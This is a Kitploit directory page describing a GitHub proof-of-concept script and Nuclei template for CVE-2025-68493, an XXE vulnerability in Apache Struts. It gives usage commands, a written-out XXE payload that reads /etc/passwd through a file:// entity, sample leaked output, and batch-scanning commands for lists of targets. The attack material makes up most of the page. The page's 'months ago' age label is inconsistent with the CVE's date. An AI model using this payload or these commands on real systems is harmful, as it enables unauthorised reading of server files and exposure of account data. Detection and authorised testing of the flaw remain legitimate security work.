Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68493 — Python PoC script and Nuclei YAML template for detecting and exploiting CVE-2025-68493, an XXE vulnerability in Apache Struts, enabling file read and batch scanning. | Kitploit
Tools/GitHubGitHub/hsltz/cve-2025-68493
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubhsltz/cve-2025-68493

CVE-2025-68493

Python PoC script and Nuclei YAML template for detecting and exploiting CVE-2025-68493, an XXE vulnerability in Apache Struts, enabling file read and batch scanning.

View Repository
217 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-68493

CVE-2025-68493

7. References

[1] Apache Struts XWork XML Vulnerability CVE-2025-68493 PoC and Script | ZONE.CI Global Network. https://zone.ci/secarticles/wx/486533.html

8. Vulnerability Verification and Exploitation

To verify and exploit the CVE-2025-68493 vulnerability, you can use the following Python PoC script and Nuclei YAML template.

8.1 Python PoC Script Usage

Script Name: cve_2025_68493_poc.py

Functionality: This script is used to verify the vulnerability on a single target, attempting to read a specified file (default is /etc/passwd).

Prerequisites:

  • Python 3 environment
  • requests library (pip install requests)

Command Line Arguments:

  • -u, --url: Base URL of the target application (e.g., http://127.0.0.1:8080)
  • -f, --file: Path of the target file to attempt to read (default is /etc/passwd)

Example:

root@kitploit:~
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd

Expected Output:

If the target is vulnerable and the file is successfully read, the output will be similar to the following:

root@kitploit:~
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------

8.2 Nuclei YAML Template Usage

Template Name: cve-2025-68493.yaml

Functionality: This template is used to perform batch scanning of multiple targets using the Nuclei tool to detect the CVE-2025-68493 vulnerability.

Prerequisites:

  • Nuclei tool installed (recommended v3.x or later)

Command Line Arguments:

  • -t: Path to the Nuclei template file
  • -u: Single target URL
  • -l: File containing multiple target URLs

Example:

Scan a Single Target:

root@kitploit:~
nuclei -t cve-2025-68493.yaml -u http://example.com:8080

Batch Scan:

Suppose you have a file named targets.txt where each line contains a target URL:

root@kitploit:~
http://target1.com:8080
http://target2.com:8080

Execute the following command for batch scanning:

root@kitploit:~
nuclei -t cve-2025-68493.yaml -l targets.txt
Download Tool